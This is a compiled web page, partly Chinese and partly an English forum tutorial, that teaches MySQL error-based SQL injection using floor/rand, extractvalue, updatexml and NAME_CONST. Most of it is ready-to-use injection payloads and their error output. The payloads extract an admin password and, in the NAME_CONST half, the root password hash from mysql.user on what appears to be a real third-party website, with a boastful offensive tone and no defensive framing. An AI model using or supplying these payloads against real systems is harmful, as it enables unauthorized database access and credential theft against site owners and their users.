1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’/admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

上文原文：http://hi.baidu.com/sethc5/item/40594203ed91919e02ce1b97

再收集：

It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. 

相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:

NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)

|---------------|
|     TEST      |
|               |
|---------------|
|       1       |
|               |
|---------------|

http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:

http://www.2cto.com /qcwh/content/detail.php?id=330&sid=19&cid=261'

 

 

Code:

and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

VAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables

Let's try it out on my site..

Code:

http://www.2cto.com /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

Error:Duplicate column name '5.0.27-community-nt'

 

Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction

Code:

+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

We should get a duplicate column 1 error...

Code:

http://www.2cto.com /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Error:Duplicate column name '1

 

Now let's get the tables out this bitch..

Code:

+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

Let's see if it works here, if it does, we can go on and finish the job.

Code:

http://www.2cto.com /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

Error:Duplicate column name 'com_admanage

 

Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..

Code:

+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

So mine looks like this, and I get the duplicate column name 'Host'.

Code:

http://www.2cto.com /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Error:Duplicate column name 'Host'

 

Woot, time to finish this bitch off.

Code:

+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

So mine looks like this...

Code:

http://www.2cto.com /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Error:Duplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

 

And there we have it, thanks for reading.